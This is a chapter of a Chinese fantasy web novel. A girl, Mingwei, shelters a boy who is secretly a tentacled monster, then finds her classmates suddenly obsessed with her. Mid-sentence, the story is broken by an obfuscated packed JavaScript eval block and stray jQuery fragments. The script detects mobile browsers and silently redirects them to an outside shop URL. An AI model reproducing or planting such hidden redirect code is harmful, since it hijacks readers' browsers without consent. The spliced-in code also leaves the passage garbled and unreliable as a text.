明微一言不发地替他擦拭头发。暖炉静静地散发着暖光。这个季节开暖炉果然还是太早了,空气被烘烤至干燥。明微感到鼻腔中丝丝的涩疼。


    她取下毛巾:“好了,差不多了。去暖炉边坐会儿吧。”


    犹格不肯松手,她垂下眼,他半眯着眼,上翘的睫毛微微抖动。他故意装作没听到她的话。


    明微沉默了两秒,按住他的肩膀,以一种不大但不容拒绝的力道,轻轻拉开了他。犹格委屈地抬起眼,黑亮的眸子闪着泪光。不过当他看到她同样泛红的眼圈,犹格愣住了,呆呆地任由明微推他到暖炉边坐下。


    明微出去了一趟,拎着一袋小零食回来。她也在暖炉边坐下,分给他一袋薯片,自己也拿出一袋,撕开,面无表情地吃着。脸上已经看不出任何痕迹。


    犹格凑到她的身边。明微正思考他要干什么,他伸手进明微的薯片袋里,拿出一片放进嘴里,咔嚓咔嚓嚼着。


    “你不是有吗?”明微疑惑地看着这个小孩子。


    他弯了弯眼睛:“好吃。”


    于是明微把这袋薯片让给他,自己则另开了一袋。


    犹格的手再次伸过来。手里的那袋放回了购物袋里。


    至此,明微明白了。他单纯想和她享用同一包薯片。虽然明微不理解这么做的用意就是了。


    空气中满是清脆的咔嚓咔嚓声。犹格很有意思,他既不会多拿,也不会少拿,一定要等明微拿了一片,他才会拿下一片。他的也很有规律,如果明微嚼了两下,他也只会嚼两下。她吞咽下去,他也会做出吞咽的动作。


    完全是学人精。


    明微暗暗评价道。


    吃完薯片,他的头发也已经烘干了。


    “睡觉,”明微说,“你睡里面。”


    犹格点点头,瘦小的身子钻进了被窝里,之后他从被窝里探出头,朝明微眨巴眨巴。湿漉漉的眼睛,像小狗一样巴巴地看着她。


    那一瞬间明微被什么击中了,心口塌陷一块。


    她慌乱地别开眼,面无表情掀开被子一角,躺了进去,背对着他。


    一双小小的手,鬼鬼祟祟地围了上来,一点点收紧。他的鼻尖抵在了明微的脊背上,小狗似的嗅了嗅。


    明微僵直了身体。


    “你不要抱这么紧。”明微说。


    “咻。哈咻。”他生硬地发出睡着了的声音。


    明微无语凝噎。她只好放弃,盯着前方墙壁上一块淡灰色的霉斑发呆。


    渐渐的,困倦爬上眼皮。她合上了眼,隐隐约约摸到了一只搭在腰间的手。


    很软,冰凉,黏腻,像某种海洋生物的触手,无数张小嘴般的吸盘,吮吸着她……


    明微做梦梦见自己沉进深海之中,就要窒息而死,醒来一看,她不知什么时候,睡姿从侧卧变成了仰躺,而她胸前压着一颗毛茸茸的头颅。


    沉沉的,实心地就这么压在她的胸口。


    难怪她会做那种噩梦。她差点在梦中被人谋杀哇!


    明微小心翼翼抱住胸前这颗脑袋,刚要挪开,他立刻睁开了眼,纯黑的眸子直勾勾地盯着她,很清醒,毫无惺忪的样子。


    “你差点压死我。”明微说。他的眼珠子动了动,往旁边挪了挪,没挪多少,换了个姿势而已,用脸贴着她的胸口。


    明微一时语塞。


    “我要去上学了。下午回来带你去警察局。”她说。


    贴近她胸口的那一侧脸颊,轻轻蹭了蹭她。犹格依依不舍地收紧手臂,环住她的腰。他身形瘦小,胳膊还是小孩子的长度,无法将她完全环抱住。但明微感觉到了那双手臂在努力拥抱她,其实不像挽留她,更像和她道别。最终,明微还是轻轻掰开了他的手。


    临出发前,明微给他留了牛奶和面包,再三嘱咐,“有人敲门,要先问是谁,如果不是我,就不要开门。还有不要到处乱跑,这附近有吃人的野兽。”


    她故意夸张了语气和用词。大人都是这么吓小孩的。


    看他露出可怜茫然的眼神,明微非常满意地点点头:“拜拜。”


    她冲他摆摆手。


    他眨了下眼皮,抬手向她摆摆手。


    “拜拜。”他说。


    门关上,隔绝了明微的身影。犹格转身走向卧室,在那个空空如也的水族缸前停下。


    他仰起头,双手趴在缸壁上,额头抵着缸,闭一只眼,睁一只眼往里看。


    水族缸里的水很清澈,能看出屋主人经常更换。石头也被一颗颗地清洗干净。


    “蠢货,不要装死。这具人类皮囊快要腐烂掉了,已经快没有时间了!蠢货!”犹格恶毒地低骂。缸底铺满了石头。他像在对那堆石头说话。


    一抹幽幽的红光,如雾气一般,从石头上方袅袅飘起,凝成一滴漆黑黏稠的液体。


    “液体”用同样恶毒的语气咒骂:“蠢货,谁让你非要抢夺劣等生物的皮囊?”


    犹格冷笑:“我已经吞噬了主脑,我现在是新的主脑。你应当臣服于我。”


    “液体”同样地冷笑:“不臣服蠢货。”


    “你会为你说的话付出代价。”犹格鼻间发出冷哼。他搬来小凳子,垫在脚下,去捞缸底的石头。


    人类幼崽的胳膊长度有限,且不能自由伸缩,犹格不耐地“啧”了一声,从袖口长出了一只又粗又长的触手,触手灵活地探入缸底,翻动着缸底的石头。


    抓到了。


    触手卷着一颗三角形的石头,慢慢地蜷缩回来,将石头放进了犹格的手心里。


    那石头一接触犹格的皮肤,就狠狠地灼烧他,他的手心很快烫掉了一层皮。


    犹格冷冷地勾起唇角,张大嘴巴,无数只触手犹如万花筒般旋转着伸出,吃掉了他手心的那颗石头。


    咕叽。石头从喉间滑落,他能感觉到那可恶的石头,正在利用高温灼烧他的咽喉、食道、胃。


    胃部一阵痉挛,促使他呕了一声。他立刻趴在水族缸沿上,一手捂着胃,剧烈地干呕。当他张开嘴,那些触手争前恐后地探出头。每呕一下,那些触手便往外伸长一截。


    直到腹部猛地收缩,他哇得一声,吐出一团血肉模糊的肉团,肉团沉到水底,立刻张开了粗长的腕足,身上的血肉和呕吐物幽幽地散开,露出它原本的面貌。一头近似章鱼的黑色生物,半个缸大。


    犹格往后倒去,后脑勺直挺挺砸在地板上,凹陷了一个坑。


    “蠢货,不要死在这里,会吓到明微!”缸中的“章鱼”冲他喊道。


    那身体僵硬地动了动手指,下一秒,直直从地上翻坐,站立,僵硬地迈着人类的步伐,拉开门,走出去,关上门。


    明微一走进教室,就感到无数道炽热的目光钉在她的身上。她奇怪地抬头扫视一圈,那些目光又立刻状若无事地躲藏起来。


    她刚坐到座位上,一大群男男女女围过来。


    “明微,你渴不渴呀,我这里有果汁,送给你!”一瓶果汁放到了她的桌子上。


    明微懵了一下,拿起果汁想还回去,更多只手往她桌子上放东西。


    “喝我的。喝我的。”


    “我这个比较健康!”


    “尝尝这个,这个是新出的。”


    明微茫然地看着面前这张被各种饮料占据的桌子,总觉得这幅场景在哪里见过。


    她抬起眼,对上一圈痴迷、期待、喜爱的目光,鸡皮疙瘩起了一地。


    “那个,”明微努力克服在这么多人的注视下的紧张和恐惧,努力地组织语言,“我不需要这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662530|188514||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多啦……你们拿走吧。”


    “那留我的吧!”一个声音说。


    “留我的。”另一个声音说。


    “还是留我的吧,我的比较健康……”


    周围是起此彼伏的说话声。刚开始还算正常的语气,逐渐走向奇怪的争执。


    “干嘛留你的那么难喝那么没品味,明微肯定不会喜欢的。”


    “化学添加剂那么多你是想毒死明微吗?”


    “哇塞这么便宜也拿得出手?”


    “你是不是找打?”不知道是谁先动的手,人群厮打成一片。


    “别打了别打了。”有人劝架。


    “打死他,让他不知天高地厚。”有人在拱火。


    “打死一个少两个,真是太棒了。”有人在幸灾乐祸。


    明微懵懵地看着眼前这一切。甚至不明白为什么事情因何而起,又为何发展成这样。她只好弱弱地说:“别打了。教导主任过来了。”


    她以为她的声音会埋没在嘈杂的声音之间,没想到她刚一说完,不知道是哪个字眼发挥了作用。她想也许是“教导主任”。厮打成一团的几个人立刻散开了。


    “明微说得对啊,要是被教导主任发现,都要叫去喝茶的。明微真关心同学!”


    “是呀是呀,而且被抓到打架还会扣分呢。明微好有集体荣誉感哟!”


    明微试图找出他们在阴阳怪气的证据,认真听了一会儿,她惊奇的发现,他们好像很认真地说着这些话。


    她什么时候变得这么受欢迎了。


    明微懵懵地想。


    突然集中在自己身上的目光,并没有令明微感到高兴,更多的是莫名其妙和恐惧。


    她看着那几位因为打架而脸上挂彩的男生,忍不住说:“你们去医务室处理一下吧。”


    后半句话她没说出口:不要这副样子围在我身边啊,看起来很诡异的。


    “哇,好羡慕他们可以得到明微的关心。”一个女生凑过来,“明微你也太温柔了吧。”


    “是啊是啊,好温柔的明微,”另一个女生挤上来,扯开前面这个女生的肩膀,“滚开。”


    “你凭什么叫我滚?明微都没叫我滚。你这么凶明微是不会喜欢你的!”


    “你管我。”


    眼看又要打起来,明微赶紧说:“要上课了,大家快回到座位上去吧。”


    听到明微的话,她们才作罢。对着明微笑眯眯地说:“好的,明微。课间再来找你。”


    鸟作兽散。


    “你好。”门口探出一个男生的头,他看向教室里。当看到明微时,脸瞬间红了。


    “你好,”明微说,她指了指他手上的鲜花和信封,“要交给柳窈窈是吗?”


    “不,不是,”男生慌忙中站直了身体,“这是送给明微同学的。啊,太羞耻了。”


    他涨得脸红,放下东西就跑。明微都还没来得及询问他的名字。


    明微看着桌子上的鲜花和信封,一时间心里有些怪怪的。她一直以为如果她某天收到情书,不管对面是什么样的人,她一定会高兴来着。现在看来,好像也不一定。


    “同桌,我把花放在这里可以吗?”明微扭头问同桌,被同桌的眼神吓了一跳。她满眼崇拜痴迷地看着明微,小鸡啄米地点头。


    同桌说:“放我腿上都行。”


    明微一时语塞,“那,那不用了吧。”


    她将花放下,准备把信放到桌箱里。手往里一伸就觉得不对劲。满的。放满了各种卡片、糖果和小零食。


    明微终于想起这个场景在哪里见过了。


    她看向柳窈窈空空如也的位置。窈窈这两天请假在家没来上学。


    所以说。


    这待遇不是柳窈窈的吗!